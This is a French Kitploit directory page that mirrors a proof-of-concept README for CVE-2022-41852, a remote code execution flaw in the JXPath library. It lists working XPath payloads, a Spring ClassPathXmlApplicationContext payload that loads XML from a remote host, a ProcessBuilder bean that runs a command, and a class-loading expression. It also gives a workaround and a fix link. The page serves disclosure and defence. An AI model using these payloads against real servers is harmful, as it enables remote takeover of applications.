Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-41852 — CVE-2022-41852 Preuve de concept (non officiel) | Kitploit
Outils/GitHubGitHub/warxim/cve-2022-41852
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 Preuve de concept (non officiel)

Voir le dépôt
74152il y a 3 ansVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept d'exécution de code à distance dans la bibliothèque JXPath (CVE-2022-41852)

CVE-2022-41852 permet à des attaquants d'exécuter du code sur le serveur d'applications.

Vous pouvez en savoir plus sur cette vulnérabilité ici :

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

Remarque : Je ne suis pas l'auteur de cette CVE. J'ai seulement créé cette preuve de concept.

Liens utiles

  • JXPath GitHub
  • JXPath Website
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

Description de la vulnérabilité

La bibliothèque JXPath permet d'exécuter des fonctions dans des expressions XPath (voir le Guide officiel de l'utilisateur).

Par exemple, les méthodes JXPathContext.getValue(path) et JXPathContext.iterate(path) sont dangereuses si vous laissez un utilisateur envoyer une entrée dans le paramètre path.

Télécharger l’outil

Description du PoC

Ce PoC démarre un serveur Spring simple avec deux points de terminaison :

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

Ces points de terminaison n'ont qu'un seul paramètre de requête « path ».

URLs de requête possibles

Les requêtes suivantes fonctionneront correctement (ne causeront aucun problème) :

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

Les requêtes suivantes provoqueront l'exécution de code :

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

Exemples de payloads

Exemples de payloads pour détecter CVE-2022-41852 :

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

Il existe peut-être différentes façons d'exécuter des commandes. L'une d'elles consiste à utiliser ClassPathXmlApplicationContext de Spring :

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

Dans le fichier XML, vous pouvez définir la configuration du bean, par exemple, vous pouvez créer une instance de ProcessBuilder et exécuter une commande spécifiée sur le serveur en initialisant le bean avec la méthode start(). Dans l'exemple suivant, la calculatrice s'ouvrira sur une machine Windows :

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Il existe également un moyen de charger de nouvelles classes en parcourant le bean de contexte, par exemple, le code suivant chargera la classe com.warxim.dangerous.DangerousClass, créera son instance et appellera la méthode run("warxim") :

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

Notez que nous devons appeler les méthodes de l'objet en mettant l'objet qui les contient comme premier paramètre.

Contournement pour CVE-2022-41852

Il est possible de désactiver les fonctions dans JXPathContext en définissant le champ functions sur un FunctionLibrary vide.

root@kitploit:~
// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

Remarque : Cela désactivera toutes les fonctions, donc même des fonctions comme size() ne seront pas disponibles.

Correctif

Le correctif est en cours de développement, voir https://github.com/apache/commons-jxpath/pull/26